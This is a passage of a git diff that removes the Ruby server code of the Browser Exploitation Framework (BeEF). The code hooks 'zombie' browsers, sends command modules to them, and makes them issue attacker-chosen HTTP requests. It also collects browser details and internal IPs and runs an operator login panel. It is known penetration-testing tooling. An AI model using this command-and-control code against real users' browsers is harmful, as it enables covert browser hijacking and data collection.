class AssetHandler
# call BeEF::AssetHanlder.instance
include Singleton
attr_reader :allocations, :root_dir
def initialize
@allocations = {}
@http_server = BeEF::HttpHookServer.instance
@root_dir = File.expand_path('../../../', __FILE__)
end
#
# Binds a file to a mount point
#
def bind(file, path=nil, extension=nil, count=-1)
url = buildURL(path, extension)
@allocations[url] = {'file' => "#{root_dir}"+file, 'path' => path, 'extension' => extension, 'count' => count}
@http_server.mount(url, true, BeEF::FileHandler, @allocations[url]['file'])
puts "+ File [" + "#{root_dir}"+file + "] binded to url [" + url + "]"
return url
end
#
# Unbinds a file from a mount point
#
def unbind(url)
@allocations.delete(url)
@http_server.unmount(url, true)
end
#
# Builds a URL based on the path and extention, if neither are passed a random URL will be generated
#
def buildURL(path, extension, length=20)
url = (path == nil) ? '/'+rand(36**length).to_s(36) : path;
url += (extension == nil) ? '' : '.'+extension;
return url
end
#
# Checks if the file is allocated, if the file isn't return true to pass onto FileHandler.
#
def check(url)
if @allocations.has_key?(url)
count = @allocations[url]['count']
if count == -1
return true
end
if count > 0
if (count - 1) == 0
unbind(url)
else
@allocations[url]['count'] = count - 1
end
return true
end
end
return false
end
private
@http_server
@allocations
end
end

View File

@@ -1,57 +0,0 @@
module BeEF
class CommandHandler
include BeEF::Server::Modules::Common
attr_reader :guard
@data = {}
def initialize(data, kclass)
@guard = Mutex.new
@kclass = BeEF::Modules::Commands.const_get(kclass.capitalize)
@data = data
setup()
end
def setup()
@http_params = @data['request'].query # used to populate datastore
@http_header = @data['request'].header # used to populate datastore
@http_header['referer'] ||= '' # used to populate datastore
# get and check command id from the request
command_id = get_param(@data, 'cid')
# ruby filter needs to be updated to detect fixnums not strings
command_id = command_id.to_s()
raise WEBrick::HTTPStatus::BadRequest, "command_id is invalid" if not BeEF::Filter.is_valid_command_id?(command_id.to_s())
# get and check session id from the request
beefhook = get_param(@data, 'beefhook')
raise WEBrick::HTTPStatus::BadRequest, "beefhook is invalid" if not BeEF::Filter.is_valid_hook_session_id?(beefhook)
@guard.synchronize {
# create the command module to handle the response
command = @kclass.new # create the commamd module
command.build_callback_datastore(@http_params, @http_header) # build datastore from the response
command.session_id = beefhook
command.callback # call the command module's callback function - it will parse and save the results
# get/set details for datastore and log entry
command_friendly_name = command.friendlyname
raise WEBrick::HTTPStatus::BadRequest, "command friendly name empty" if command_friendly_name.empty?
command_results = get_param(@data, 'results')
raise WEBrick::HTTPStatus::BadRequest, "command results empty" if command_results.empty?
# save the command module results to the datastore and create a log entry
command_results = {'type' => command_results.class, 'data' => command_results}
BeEF::Models::Command.save_result(beefhook, command_id, command_friendly_name, command_results)
}
end
def get_param(query, key)
return (query.class == Hash and query.has_key?(key)) ? query[key] : nil
end
end
end

View File

@@ -1,90 +0,0 @@
module BeEF
#DynamicHanlder is used reconstruct segmented traffic from the zombies
class DynamicHandler < WEBrick::HTTPServlet::AbstractServlet
attr_reader :guard
#holds packet queue
PQ = Array.new()
#obtain dynamic mount points from HttpHookServer
MOUNTS = BeEF::HttpHookServer.instance.mounts
#Combines packet information and pushes to PQ, then checks packets
def do_POST(request, response)
@request = request
response.body = ''
PQ << {
:beefhook => get_param(@request.query, 'bh'),
:stream_id => Integer(get_param(@request.query, 'sid')),
:packet_id => Integer(get_param(@request.query, 'pid')),
:packet_count => Integer(get_param(@request.query, 'pc')),
:data => get_param(@request.query, 'd')
}
check_packets()
end
alias do_GET do_POST
#check packets goes through the PQ array and attempts to reconstruct the stream from multiple packets
def check_packets()
checked = Array.new()
PQ.each do |packet|
if (checked.include?(packet[:beefhook]+':'+String(packet[:stream_id])))
next
end
checked << packet[:beefhook]+':'+String(packet[:stream_id])
pc = 0
PQ.each do |p|
if (packet[:beefhook] == p[:beefhook] and packet[:stream_id] == p[:stream_id])
pc += 1
end
end
if (packet[:packet_count] == pc)
#better way than sorting the entire array?
PQ.sort_by { |s| s[:packet_id] }
data = ''
PQ.each_with_index do |sp,i|
if (packet[:beefhook] == sp[:beefhook] and packet[:stream_id] == sp[:stream_id])
data += sp[:data]
end
end
data = JSON.parse(Base64.decode64(data)).first
data['beefhook'] = packet[:beefhook]
data['request'] = @request
data['beefsession'] = @request.get_hook_session_id()
expunge(packet[:beefhook], packet[:stream_id])
execute(data)
end
end
end
#delete packets that have been reconstructed
def expunge(beefhook, stream_id)
PQ.delete_if { |p| p[:beefhook] == beefhook and p[:stream_id] == stream_id }
end
#execute is called once a stream has been rebuilt. it searches the mounts and passes the data to the correct handler
def execute(data)
handler = get_param(data, 'handler')
if (MOUNTS.has_key?(handler))
if (MOUNTS[handler].class == Array and MOUNTS[handler].length == 2)
MOUNTS[handler][0].new(data, MOUNTS[handler][1])
else
MOUNTS[handler].new(data)
end
end
end
#assist function for getting parameter from hash
def get_param(query, key)
return nil if query[key].nil?
query[key]
end
end
end

View File

@@ -1,59 +0,0 @@
module BeEF
#
# The http handler that manages the Events.
#
class EventHandler < WEBrick::HTTPServlet::AbstractServlet
attr_reader :guard
H = BeEF::Models::Http
Z = BeEF::Models::Zombie
#
# Class constructor
#
def initialize(config)
# we set up a mutex
@guard = Mutex.new
end
#
# This function receives any POST http requests. We only
# allow the hooked browser to send back results using POST.
#
def do_POST(request, response)
@params = request.query
# validates the hook token
#beef_hook = request.query['BEEFHOOK'] || nil
beef_hook = request.get_hook_session_id()
raise WEBrick::HTTPStatus::BadRequest, "beef_hook is null" if beef_hook.nil?
# validates that a hooked browser with the beef_hook token exists in the db
zombie = Z.first(:session => beef_hook) || nil
raise WEBrick::HTTPStatus::BadRequest, "Invalid beef hook id: the hooked browser cannot be found in the database" if zombie.nil?
#event_string = request.query['event_string'] || nil
#raise WEBrick::HTTPStatus::BadRequest, "event_string is null" if event_string.nil?
@params.each{|k,v|
if k[0..5] == "stream"
BeEF::Logger.instance.register('Event', v, zombie.id)
end
}
#BeEF::Logger.instance.register('Zombie', "#{zombie.ip}: #{event_string}", "#{zombie.id}")
response.set_no_cache()
response.header['Content-Type'] = 'text/javascript'
response.header['Access-Control-Allow-Origin'] = '*'
response.header['Access-Control-Allow-Methods'] = 'POST'
response.body = ''
end
alias do_GET do_POST
end
end

View File

@@ -1,21 +0,0 @@
module BeEF
#
# Custom FileHandler to deal with tracked files
#
class FileHandler < WEBrick::HTTPServlet::FileHandler
#
# Override to do_GET to check tracked files
#
def do_GET(req, res)
if not BeEF::AssetHandler.instance.check(req.path)
raise HTPPStatus::NotFound, "`#req.path}` not found."
else
super
end
end
end
end

View File

@@ -1,96 +0,0 @@
module BeEF
#
# Handle HTTP requests and call the relevant functions in the derived classes
#
class HttpController
attr_accessor :headers, :status, :body, :paths, :currentuser, :params
C = BeEF::Models::Command
CM = BeEF::Models::CommandModule
Z = BeEF::Models::Zombie
#
# Class constructor. Takes data from the child class and populates itself with it.
#
def initialize(data = {})
@erubis = nil
@status = 200 if data['status'].nil?
@headers = {'Content-Type' => 'text/html; charset=UTF-8'} if data['headers'].nil?
if data['paths'].nil? and self.methods.include? "index"
@paths = {'index' => '/'}
else
@paths = data['paths']
end
end
#
# Handle HTTP requests and call the relevant functions in the derived classes
#
def run(request, response)
@request = request
@params = request.query
@session = BeEF::UI::Session.instance
auth_url = '/ui/authentication'
# test if session is unauth'd and whether the auth functionality is requested
if not @session.valid_session?(@request) and not self.class.eql?(BeEF::UI::Authentication)
@body = page_redirect(auth_url) # redirect to auth page
return
end
# get the mapped function (if it exists) from the derived class
path = request.path_info
raise WEBrick::HTTPStatus::BadRequest, "path is invalid" if not Filter::is_valid_path_info?(path)
function = @paths[path] || @paths[path + '/'] # check hash for '<path>' and '<path>/'
raise WEBrick::HTTPStatus::BadRequest, "path does not exist" if function.nil?
# call the relevant mapped function
function.call
# build the template filename and apply it - if the file exists
function_name = function.name # used for filename
class_s = self.class.to_s.sub('BeEF::UI::', '').downcase # used for directory name
template_ui = "#{$root_dir}/lib/ui/#{class_s}/#{function_name}.html"
@eruby = Erubis::FastEruby.new(File.read(template_ui)) if File.exists? template_ui # load the template file
@body = @eruby.result(binding()) if not @eruby.nil? # apply template and set the response
# set content type
if @headers['Content-Type'].nil?
@headers['Content-Type']='text/html; charset=UTF-8' # default content and charset type for all pages
@headers['Content-Type']='application/json; charset=UTF-8' if request.path =~ /.json$/
end
end
# Constructs a redirect page
def page_redirect(location) "<html><head></head><body>" + script_redirect(location) + "</body>" end
# Constructs a redirect script
def script_redirect(location) "<script> document.location=\"#{location}\"</script>" end
# Constructs a html script tag
def script_tag(filename) "<script src=\"#{$url}/ui/public/javascript/#{filename}\" type=\"text/javascript\"></script>" end
# Constructs a html stylesheet tag
def stylesheet_tag(filename) "<link rel=\"stylesheet\" href=\"#{$url}/ui/public/css/#{filename}\" type=\"text/css\" />" end
# Constructs a hidden html nonce tag
def nonce_tag
@session = BeEF::UI::Session.instance
"<input type=\"hidden\" name=\"nonce\" id=\"nonce\" value=\"" + @session.get_nonce + "\"/>"
end
private
@eruby
# Unescapes a URL-encoded string.
def unescape(s); s.tr('+', ' ').gsub(/%([\da-f]{2})/in){[$1].pack('H*')} end
end
end

View File

@@ -1,38 +0,0 @@
module BeEF
class HttpHandler < WEBrick::HTTPServlet::AbstractServlet
attr_reader :guard
#
#
#
def initialize(config, klass)
super
@guard = Mutex.new
@klass = BeEF::UI.const_get(klass.to_s.capitalize)
end
def do_GET(request, response)
@request = request
@response = response
controller = nil
@guard.synchronize {
controller = @klass.new
controller.run(@request, @response)
}
response.header.replace(controller.headers)
response.body = controller.body.to_s
end
private
@request
@response
alias do_POST do_GET
end
end

View File

@@ -1,153 +0,0 @@
module BeEF
#
# Class defining the BeEF http server.
#
class HttpHookServer
# call BeEF::Server.instance
include Singleton
VERSION = BeEF::Configuration.instance.get('beef_version')
attr_reader :root_dir, :url, :configuration, :command_urls, :mounts
def initialize
@configuration = BeEF::Configuration.instance
beef_host = @configuration.get("http_public") || @configuration.get("http_host")
@url = "http://#{beef_host}:#{@configuration.get("http_port")}"
@root_dir = File.expand_path('../../../', __FILE__)
@command_urls = {}
@mounts = {}
end
#
# Returns all server variables in a hash. Useful for Erubis when
# generating the javascript for the command modules and hooking.
#
def to_h
{
'beef_version' => VERSION,
'beef_url' => @url,
'beef_root_dir' => @root_dir,
'beef_host' => BeEF::Configuration.instance.get('http_host'),
'beef_port' => BeEF::Configuration.instance.get('http_port'),
'beef_dns' => BeEF::Configuration.instance.get('http_dns'),
'beef_hook' => BeEF::Configuration.instance.get('hook_file')
}
end
#
#
#
def register_command_url(command_path, uri)
end
#
#
#
def get_command_url(command_path)
if not @command_urls[command_path].nil? then return @command_urls[command_path]; else return command_path; end
end
#
# Starts the BeEF http server.
#
def start
if not @http_server
config = {}
config[:BindAddress] = @configuration.get('http_host')
config[:Port] = @configuration.get('http_port')
config[:Logger] = WEBrick::Log.new($stdout, WEBrick::Log::ERROR)
config[:ServerName] = "BeEF " + VERSION
config[:ServerSoftware] = "BeEF " + VERSION
@http_server = WEBrick::HTTPServer.new(config)
@asset_handler = BeEF::AssetHandler.instance
# registers the ui pages
Dir["#{$root_dir}/lib/ui/**/*.rb"].each { |http_module|
require http_module
mod_name = File.basename http_module, '.rb'
mount("/ui/#{mod_name}", true, BeEF::HttpHandler, mod_name)
}
# registers the hook page
mount("#{@configuration.get("hook_file")}", true, BeEF::ZombieHandler)
mount('/ui/public', true, BeEF::PublicHandler, "#{root_dir}/public")
mount('/favicon.ico', true, WEBrick::HTTPServlet::FileHandler, "#{root_dir}#{@configuration.get("favicon_dir")}/#{@configuration.get("favicon_file_name")}")
mount('/demos/', true, WEBrick::HTTPServlet::FileHandler, "#{root_dir}/demos/")
#dynamic handler
mount('/dh', true, BeEF::DynamicHandler)
#register mounts handled by dynamic handler
mount('/init', false, BeEF::InitHandler)
mount('/event', false, BeEF::EventHandler)
mount('/requester', false, BeEF::RequesterHandler)
# registers the command module pages
Dir["#{root_dir}/modules/commands/**/*.rb"].each { |command|
command_class = (File.basename command, '.rb').capitalize
command_file = (File.basename command, '.rb')+'.js'
mount("/command/#{command_file}", false, BeEF::CommandHandler, command_class)
}
trap("INT") { BeEF::HttpHookServer.instance.stop }
@http_server.start
end
end
#
# Stops the BeEF http server.
#
def stop;
if @http_server
@http_server.shutdown
puts ' --[ BeEF server stopped'
end
end
#
# Restarts the BeEF http server.
#
def restart; stop; start; end
#
# Mounts a handler, can either be a hard or soft mount (soft mounts are handled by the command handler
#
def mount(url, hard, c, args = nil)
if hard
if args == nil
@http_server.mount url, c
else
@http_server.mount url, c, *args
end
else
if args == nil
mounts[url] = c
else
mounts[url] = c, *args
end
end
end
#
# Unmounts handler
#
def unmount(url, hard)
if hard
@http_server.umount(url)
else
mounts.delete(url)
end
end
private
@http_server
@asset_handler
end
end

View File

@@ -1,95 +0,0 @@
module BeEF
#
# The http handler that manages the return of the initial browser details.
#
class InitHandler
attr_reader :guard
@data = {}
HB = BeEF::Models::Zombie
BD = BeEF::Models::BrowserDetails
def initialize(data)
@guard = Mutex.new
@data = data
setup()
end
def setup()
# validate hook session value
session_id = get_param(@data, 'beefhook')
raise WEBrick::HTTPStatus::BadRequest, "session id is invalid" if not Filter.is_valid_hook_session_id?(session_id)
hooked_browser = HB.first(:session => session_id)
return if not hooked_browser.nil? # browser is already registered with framework
# create the structure repesenting the hooked browser
zombie = BeEF::Models::Zombie.new(:ip => @data['request'].peeraddr[3], :session => session_id)
zombie.firstseen = Time.new.to_i
zombie.httpheaders = @data['request'].header.to_json
@guard.synchronize {
zombie.save # the save needs to be conducted before any hooked browser specific logging
}
# add a log entry for the newly hooked browser
log_zombie_domain = zombie.domain
log_zombie_domain = "(blank)" if log_zombie_domain.nil? or log_zombie_domain.empty?
BeEF::Logger.instance.register('Zombie', "#{zombie.ip} just joined the horde from the domain: #{log_zombie_domain}", "#{zombie.id}")
# get and store browser name
browser_name = get_param(@data['results'], 'BrowserName')
raise WEBrick::HTTPStatus::BadRequest, "Invalid browser name" if not Filter.is_valid_browsername?(browser_name)
BD.set(session_id, 'BrowserName', browser_name)
# get and store browser version
browser_version = get_param(@data['results'], 'BrowserVersion')
raise WEBrick::HTTPStatus::BadRequest, "Invalid browser version" if not Filter.is_valid_browserversion?(browser_version)
BD.set(session_id, 'BrowserVersion', browser_version)
# get and store browser string
browser_string = get_param(@data['results'], 'BrowserReportedName')
raise WEBrick::HTTPStatus::BadRequest, "Invalid browser browser string" if not Filter.is_valid_browserstring?(browser_string)
BD.set(session_id, 'BrowserReportedName', browser_string)
# get and store the os name
os_name = get_param(@data['results'], 'OsName')
raise WEBrick::HTTPStatus::BadRequest, "Invalid browser os name" if not Filter.is_valid_osname?(os_name)
BD.set(session_id, 'OsName', os_name)
# get and store page title
page_title = get_param(@data['results'], 'PageTitle')
raise WEBrick::HTTPStatus::BadRequest, "Invalid page title name" if not Filter.is_valid_pagetitle?(page_title)
BD.set(session_id, 'PageTitle', page_title)
# get and store page title
host_name = get_param(@data['results'], 'HostName')
raise WEBrick::HTTPStatus::BadRequest, "Invalid host name" if not Filter.is_valid_hostname?(host_name)
BD.set(session_id, 'HostName', host_name)
# get and store the browser plugins
browser_plugins = get_param(@data['results'], 'BrowserPlugins')
raise WEBrick::HTTPStatus::BadRequest, "Invalid browser plugins" if not Filter.is_valid_browser_plugins?(browser_plugins)
BD.set(session_id, 'BrowserPlugins', browser_plugins)
# get and store the internal ip address
internal_ip = get_param(@data['results'], 'InternalIP')
if not internal_ip.nil?
raise WEBrick::HTTPStatus::BadRequest, "Invalid internal IP address" if not Filter.is_valid_ip?(internal_ip)
BD.set(session_id, 'InternalIP', internal_ip)
end
# get and store the internal hostname
internal_hostname = get_param(@data['results'], 'InternalHostname')
if not internal_hostname.nil?
raise WEBrick::HTTPStatus::BadRequest, "Invalid internal host name" if not Filter.is_valid_hostname?(host_name)
BD.set(session_id, 'InternalHostname', internal_hostname)
end
end
def get_param(query, key)
return (query.class == Hash and query.has_key?(key)) ? query[key] : nil
end
end
end

View File

@@ -1,142 +0,0 @@
module BeEF
module Server
module Modules
#
# Purpose: avoid rewriting several times the same code.
#
module Common
#
# Builds the default beefjs library (all default components of the library).
#
# @param: {Object} the hook session id
# @param: {Boolean} if the framework is already loaded in the hooked browser
#
def build_beefjs!(req_host)
# set up values required to construct beefjs
beefjs = '' # init the beefjs string (to be sent as the beefjs file)
beefjs_path = "#{$root_dir}/modules/beefjs/" # location of sub files
js_sub_files = %w(lib/jquery-1.5.min.js lib/evercookie.js beef.js browser.js browser/cookie.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js)
# construct the beefjs string from file(s)
js_sub_files.each {|js_sub_file_name|
js_sub_file_abs_path = beefjs_path + js_sub_file_name # construct absolute path
beefjs << (File.read(js_sub_file_abs_path) + "\n\n") # concat each js sub file
}
# create the config for the hooked browser session
config = BeEF::Configuration.instance
hook_session_name = config.get('hook_session_name')
hook_session_config = BeEF::HttpHookServer.instance.to_h
# if http_host="0.0.0.0" in config ini, use the host requested by client
if hook_session_config['beef_host'].eql? "0.0.0.0"
hook_session_config['beef_host'] = req_host
hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
end
# populate place holders in the beefjs string and set the response body
eruby = Erubis::FastEruby.new(beefjs)
@body << eruby.evaluate(hook_session_config)
end
#
# Finds the path to js components
#
def find_beefjs_component_path(component)
component_path = '/'+component
component_path.gsub!(/beef./, '')
component_path.gsub!(/\./, '/')
component_path.replace "#{$root_dir}/modules/beefjs/#{component_path}.js"
return false if not File.exists? component_path
component_path
end
#
# Builds missing beefjs components.
#
# Ex: build_missing_beefjs_components(['beef.net.local', 'beef.net.requester'])
#
def build_missing_beefjs_components(beefjs_components)
# verifies that @beef_js_cmps is not nil to avoid bugs
@beef_js_cmps = '' if @beef_js_cmps.nil?
if beefjs_components.is_a? String
beefjs_components_path = find_beefjs_component_path(beefjs_components)
raise "Invalid component: could not build the beefjs file" if not beefjs_components_path
beefjs_components = {beefjs_components => beefjs_components_path}
end
beefjs_components.keys.each {|k|
next if @beef_js_cmps.include? beefjs_components[k]
# path to the component
component_path = beefjs_components[k]
# we output the component to the hooked browser
@body << File.read(component_path)+"\n\n"
# finally we add the component to the list of components already generated so it does not
# get generated numerous times.
if @beef_js_cmps.eql? ''
@beef_js_cmps = component_path
else
@beef_js_cmps += ",#{component_path}"
end
}
end
#
# Adds the command module instructions to the http response.
#
def add_command_instructions(command, zombie)
raise WEBrick::HTTPStatus::BadRequest, "zombie is nil" if zombie.nil?
raise WEBrick::HTTPStatus::BadRequest, "zombie.session is nil" if zombie.session.nil?
raise WEBrick::HTTPStatus::BadRequest, "zombie is nil" if command.nil?
raise WEBrick::HTTPStatus::BadRequest, "zombie.session is nil" if command.command_module_id.nil?
# get the command module
command_module = BeEF::Models::CommandModule.first(:id => command.command_module_id)
raise WEBrick::HTTPStatus::BadRequest, "command_module is nil" if command_module.nil?
raise WEBrick::HTTPStatus::BadRequest, "command_module.path is nil" if command_module.path.nil?
klass = File.basename command_module.path, '.rb'
@guard.synchronize {
command_module = BeEF::Modules::Commands.const_get(klass.capitalize).new
command_module.command_id = command.id
command_module.session_id = zombie.session
command_module.build_datastore(command.data)
command_module.pre_send
build_missing_beefjs_components(command_module.beefjs_components) if not command_module.beefjs_components.empty?
@body << command_module.output + "\n\n"
puts "+ Hooked browser #{zombie.ip} sent command module #{klass}" if @cmd_opts[:verbose]
}
# flag that the command has been sent to the hooked browser
command.instructions_sent = true
command.save
end
#
# Executes every plugins in the framework.
#
def execute_plugins!
end
end
end
end
end

View File

@@ -1,94 +0,0 @@
module BeEF
module Server
module Modules
#
# Module containing all the functions to run the Requester.
#
# That module is dependent on 'Common'. Hence to use it,
# your code also needs to include that module.
#
module Requester
#
# Runs the Requester
#
def requester_run(zombie)
# we generate all the requests and output them to the hooked browser
output = []
BeEF::Models::Http.all(:zombie_id => zombie.id, :has_ran => false).each {|h|
output << requester_parse_db_request(h)
}
# we stop here of our output in empty, that means they aren't any requests to send
return if output.empty?
# we build the beefjs requester component
build_missing_beefjs_components 'beef.net.requester'
# we send the command to perform the requests to the hooked browser
@body << %Q{
beef.execute(function() {
beef.net.requester.send(
#{output.to_json}
);
});
}
end
#
# Converts a HTTP DB Object into a BeEF JS command that
# can be executed by the hooked browser.
#
def requester_parse_db_request(http_db_object)
req = WEBrick::HTTPRequest.new(WEBrick::Config::HTTP)
params = nil
begin
s = StringIO.new http_db_object.request
req.parse(s)
rescue Exception => e
# if an exception is caught, we display it in the console but do not
# stong beef from executing. That is because we do not want to stop
# attacking the hooked browser because of a malformed request.
puts e.message
puts e.backtrace
return
end
# Handling post requests
if not req['content-length'].nil? and req.content_length > 0
params = []
# if the content length is invalid, webrick crashes. Hence we try to catch any exception
# here and continue execution.
begin
req.query.keys.each{|k| params << "#{k}=#{req.query[k]}"}
params = params.join '&'
rescue Exception => e
puts e.message
puts e.backtrace
return
end
end
# creating the request object
http_request_object = {
'id' => http_db_object.id,
'method' => req.request_method,
'host' => req.host,
'port' => req.port,
'params' => params,
'uri' => req.unparsed_uri,
'headers' => {}
}
req.header.keys.each{|key| http_request_object['headers'][key] = req.header[key]}
http_request_object
end
end
end
end
end

View File

@@ -1,21 +0,0 @@
module BeEF
class PublicHandler < WEBrick::HTTPServlet::FileHandler
def do_GET(req, res)
super
# set content types
res.header['content-type']='text/html' # default content type for all pages
res.header['content-type']='text/javascript' if req.path =~ /.json$/
res.header['content-type']='text/javascript' if req.path =~ /.js$/
res.header['content-type']='text/css' if req.path =~ /.css$/
res.header['content-type']='image/png' if req.path =~ /.png$/
res.header['content-type']='image/gif' if req.path =~ /.gif$/
res.header['content-type']='text/xml' if req.path =~ /.xml$/
end
end
end

View File

@@ -1,57 +0,0 @@
module BeEF
#
# The http handler that manages the Requester.
#
class RequesterHandler < WEBrick::HTTPServlet::AbstractServlet
attr_reader :guard
H = BeEF::Models::Http
Z = BeEF::Models::Zombie
#
# Class constructor
#
def initialize(data)
@guard = Mutex.new
@data = data
setup()
end
def setup()
# validates the hook token
beef_hook = @data['beefhook'] || nil
raise WEBrick::HTTPStatus::BadRequest, "beef_hook is null" if beef_hook.nil?
# validates the request id
request_id = @data['cid'] || nil
raise WEBrick::HTTPStatus::BadRequest, "request_id is null" if request_id.nil?
# validates that a hooked browser with the beef_hook token exists in the db
zombie_db = Z.first(:session => beef_hook) || nil
raise WEBrick::HTTPStatus::BadRequest, "Invalid beef hook id: the hooked browser cannot be found in the database" if zombie_db.nil?
# validates that we have such a http request saved in the db
http_db = H.first(:id => request_id.to_i, :zombie_id => zombie_db.id) || nil
raise WEBrick::HTTPStatus::BadRequest, "Invalid http_db: no such request found in the database" if http_db.nil?
# validates that the http request has not be ran before
raise WEBrick::HTTPStatus::BadRequest, "This http request has been saved before" if http_db.has_ran.eql? true
# validates the body
body = @data['results'] || nil
raise WEBrick::HTTPStatus::BadRequest, "body is null" if body.nil?
@guard.synchronize {
# save the results in the database
http_db.response = body
http_db.has_ran = true
http_db.save
}
end
end
end

View File

@@ -1,98 +0,0 @@
module BeEF
#
# This class handles connections from zombies to the framework.
#
class ZombieHandler < WEBrick::HTTPServlet::AbstractServlet
include BeEF::Server::Modules::Common
include BeEF::Server::Modules::Requester
attr_reader :guard
def initialize(config)
@guard = Mutex.new
@cmd_opts = BeEF::Console::CommandLine.parse
@session = BeEF::UI::Session.instance
end
#
# This method processes the http requests sent by a zombie to the framework.
# It will update the database to add or update the current zombie and deploy
# some command modules or plugins.
#
def do_GET(request, response)
@body = ''
@params = request.query
@request = request
@response = response
config = BeEF::Configuration.instance
# check source ip address of browser
permitted_hooking_subnet = config.get('permitted_hooking_subnet')
target_network = IPAddr.new(permitted_hooking_subnet)
if not target_network.include?(request.peeraddr[3].to_s)
BeEF::Logger.instance.register('Target Range', "Attempted hook from out of target range browser (#{request.peeraddr[3]}) rejected.")
@response.set_error(nil)
return
end
# get zombie if already hooked the framework
hook_session_id = request.get_hook_session_id()
hooked_browser = BeEF::Models::Zombie.first(:session => hook_session_id) if not hook_session_id.nil?
if not hooked_browser # is a new browser so return instructions to set up the hook
# generate the instructions to hook the browser
host_name = @request.host # get the host from the HOST attribute in the HTTP header
raise WEBrick::HTTPStatus::BadRequest, "Invalid host name" if not Filter.is_valid_hostname?(host_name)
build_beefjs!(host_name)
else # is a known browseer so send instructions
# record the last poll from the browser
hooked_browser.lastseen = Time.new.to_i
hooked_browser.count!
hooked_browser.save
execute_plugins!
# add all availible command module instructions to the response
zombie_commands = BeEF::Models::Command.all(:zombie_id => hooked_browser.id, :instructions_sent => false)
zombie_commands.each{|command| add_command_instructions(command, hooked_browser)}
# add all availible autoloading command module instructions to the response
autoloadings = BeEF::Models::Command.all(:autoloadings => { :in_use => true })
autoloadings.each {|command| add_command_instructions(command, hooked_browser)}
# executes the requester
requester_run(hooked_browser)
end
# set response headers and body
response.set_no_cache
response.header['Content-Type'] = 'text/javascript'
response.header['Access-Control-Allow-Origin'] = '*'
response.header['Access-Control-Allow-Methods'] = 'POST, GET'
response.body = @body
end
alias do_POST do_GET
private
# Object representing the HTTP request
@request
# Object representing the HTTP response
@response
# A string containing the list of BeEF components active in the hooked browser
@beef_js_cmps
end
end

View File

@@ -1,137 +0,0 @@
module BeEF
module UI
#
# The authentication web page for BeEF.
#
class Authentication < BeEF::HttpController
#
# Constructor
#
def initialize
super({
'paths' => {
'/' => method(:index),
'/login' => method(:login),
'/logout' => method(:logout)
}
})
@session = BeEF::UI::Session.instance
end
# Function managing the index web page
def index
@headers['Content-Type']='text/html; charset=UTF-8'
end
#
# Function managing the login
#
def login
username = @params['username-cfrm'] || ''
password = @params['password-cfrm'] || ''
config = BeEF::Configuration.instance
@headers['Content-Type']='application/json; charset=UTF-8'
ua_ip = @request.peeraddr[3] # get client ip address
@body = '{ success : false }' # attempt to fail closed
# check if source IP address is permited to authenticate
if not permited_source?(ua_ip)
BeEF::Logger.instance.register('Authentication', "IP source address (#{@request.peeraddr[3]}) attempted to authenticate but is not within permitted subnet.")
return
end
# check if under brute force attack
time = Time.new
if not timeout?(time)
@session.set_auth_timestamp(time)
return
end
# check username and password
if not (username.eql? config.get('ui_username') and password.eql? config.get('ui_password') )
BeEF::Logger.instance.register('Authentication', "User with ip #{@request.peeraddr[3]} has failed to authenticate in the application.")
return
end
# establish an authenticated session
# set up session and set it logged in
@session.set_logged_in(ua_ip)
# create session cookie
session_cookie_name = config.get('session_cookie_name') # get session cookie name
session_cookie = WEBrick::Cookie.new(session_cookie_name, @session.get_id)
session_cookie.path = '/'
session_cookie.httponly = true
# add session cookie to response header
@headers['Set-Cookie'] = session_cookie.to_s
BeEF::Logger.instance.register('Authentication', "User with ip #{@request.peeraddr[3]} has successfuly authenticated in the application.")
@body = "{ success : true }"
end
#
# Function managing the logout
#
def logout
# test if session is unauth'd
raise WEBrick::HTTPStatus::BadRequest, "invalid nonce" if not @session.valid_nonce?(@request)
raise WEBrick::HTTPStatus::BadRequest, "invalid session" if not @session.valid_session?(@request)
@headers['Content-Type']='application/json; charset=UTF-8'
# set the session to be log out
@session.set_logged_out
# clean up UA and expire the session cookie
config = BeEF::Configuration.instance
session_cookie_name = config.get('session_cookie_name') # get session cookie name
session_cookie = WEBrick::Cookie.new(session_cookie_name, "")
session_cookie.path = '/'
session_cookie.expires = Time.now
session_cookie.httponly = true
# add (expired) session cookie to response header
@headers['Set-Cookie'] = session_cookie.to_s
BeEF::Logger.instance.register('Authentication', "User with ip #{@request.addr} has successfuly logged out.")
@body = "{ success : true }"
end
#
# Check the UI browser source IP is within the permitted subnet
#
def permited_source?(ip)
# get permitted subnet
config = BeEF::Configuration.instance
permitted_ui_subnet = config.get('permitted_ui_subnet')
target_network = IPAddr.new(permitted_ui_subnet)
# test if ip within subnet
return target_network.include?(ip)
end
#
# Brute Force Mitigation
# Only one login request per login_fail_delay seconds
#
def timeout?(time)
config = BeEF::Configuration.instance
login_fail_delay = config.get('login_fail_delay') # get fail delay
# test if the last login attempt was less then login_fail_delay seconds
time - @session.get_auth_timestamp > login_fail_delay.to_i
end
end
end
end

View File

@@ -1,36 +0,0 @@
<html>
<head>
<title>BeEF Authentication</title>
<%= script_tag 'ext-base.js' %>
<%= script_tag 'ext-all.js' %>
<%= script_tag 'ui/authentication.js' %>
<%= stylesheet_tag 'ext-all.css' %>
<style>
#centered {
left:50%;
top:50%;
margin:-120px 0 0 -200px;
position:fixed;
}
</style>
<!--[if IE]>
<style>
#centered {
position:absolute;
top: 50%;
left: 50%;
margin-top: -120px;
margin-left: -200px;
}
</style>
<![endif]-->
</head>
<body bgcolor="#DEE7F6">
<div id="centered"></div>
</body>
</html>

View File

@@ -1,72 +0,0 @@
module BeEF
module UI
class Logs < BeEF::HttpController
def initialize
super({
'paths' => {
'/all.json' => method(:select_all_logs),
'/zombie.json' => method(:select_zombie_logs)
}
})
end
# Selects logs in the database and returns them in a JSON format.
def select_all_logs
log = BeEF::Models::Log.all()
raise WEBrick::HTTPStatus::BadRequest, "log is nil" if log.nil?
# format log
@body = logs2json(log)
end
# Selects the logs for a zombie
def select_zombie_logs
# get params
session = @params['session'] || nil
raise WEBrick::HTTPStatus::BadRequest, "session is nil" if session.nil?
zombie = BeEF::Models::Zombie.first(:session => session)
raise WEBrick::HTTPStatus::BadRequest, "zombie is nil" if zombie.nil?
raise WEBrick::HTTPStatus::BadRequest, "zombie.id is nil" if zombie.id.nil?
zombie_id = zombie.id
# get log
log = BeEF::Models::Log.all(:zombie_id => zombie_id)
raise WEBrick::HTTPStatus::BadRequest, "log is nil" if log.nil?
# format log
@body = logs2json(log)
end
private
# Returns a list of logs in JSON format.
def logs2json(logs)
logs_json = []
count = logs.length
output = '{success: false}'
logs.each do |log|
logs_json << {
'id' => log.id.to_i,
